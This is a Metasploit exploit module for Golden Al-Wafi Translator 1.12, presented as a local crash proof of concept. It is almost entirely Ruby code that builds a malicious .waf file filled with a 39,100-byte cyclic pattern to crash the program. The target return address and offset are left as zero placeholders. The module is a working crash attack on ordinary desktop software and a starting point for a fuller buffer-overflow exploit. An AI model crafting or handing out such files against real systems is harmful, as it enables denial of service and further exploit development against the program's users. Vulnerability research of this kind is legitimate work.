Golden Al-Wafi Translator 1.12 (.waf) Local Crash PoC

## Metasploit To Max
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Golden Al-Wafi Translator 1.12 (.waf) Local Crash PoC',
            'Description'    => %q{
                    Golden Al-Wafi Translator 1.12 (.waf) Local Crash PoC
            },
            'License'        => MSF_LICENSE,
            'Author'        =>
                [
                    'original discovery :DaOne',
                    'Anti-Trust (ninja-sec.org)',
                ],
            'References'    =>
                [
                    [ 'OSVDB', '' ],
                    [ 'CVE', '' ],
                    [ 'URL', 'http://1337day.com/exploits/19435' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process',
                },
            'Platform'    => 'win',
            'Payload'    =>
                {
                    'BadChars' => "",
                    'DisableNops' => true,
                },

            'Targets'        =>
                [
                    [ 'Windows XP SP3',
                        {
                            'Ret'       =>    0x00000000,
                            'Offset'    =>    0
                        }
                    ],
                ],
            'Privileged'    => false,
            'DisclosureDate'    => '',
            'DefaultTarget'    => 0))

        register_options([OptString.new('FILENAME', [ false, 'The file name.', 'ninja.waf']),], self.class)

    end

    def exploit

        buffer = Rex::Text.pattern_create(39100)

        file_create(buffer)

    end
end